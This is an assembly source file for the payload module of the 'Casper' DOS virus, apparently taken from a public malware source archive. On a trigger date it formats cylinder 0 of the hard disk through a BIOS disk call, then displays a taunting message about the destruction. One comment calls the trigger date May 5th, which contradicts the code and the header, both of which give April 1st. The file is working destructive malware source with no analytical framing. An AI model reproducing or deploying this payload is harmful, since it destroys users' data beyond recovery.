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https://github.com/vxunderground/MalwareSourceCode.git
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33 lines
1.2 KiB
NASM
33 lines
1.2 KiB
NASM
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;****************************************************************************
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;*
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;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. *
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;* *
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;* USAGE: Is automatically INCLUDED in the assembly of casper.asm *
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;* *
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;* DETAILS: Date Activated Hard Disk Destroyer. *
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;* DATE: 1st April DAMAGE: Formats Cylinder 0 of HD. *
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;* *
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;**************************************************************************
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mov ah,2ah ; DOS Get Date.
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int 21h
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cmp dx,0401h ; 5th May.
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jne utilend
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mov ax,0515h ;Format Cylinder, 15 Sectors.
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mov ch,0 ;Cylinder 0.
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mov dx,00 ;Head 0, Drive 80h.
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mov es,dx ;Junk for address marks.
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mov bx,0 ;Junk....
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int 13h ;Do It!
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int 20h ;Exit
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utilend: jmp entry3
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db "Hi! I'm Casper The Virus, And On April The 1st I'm "
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db "Gonna Fuck Up Your Hard Disk REAL BAD! "
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db "In Fact It Might Just Be Impossible To Recover! "
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db "How's That Grab Ya! <GRIN>"
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entry3:
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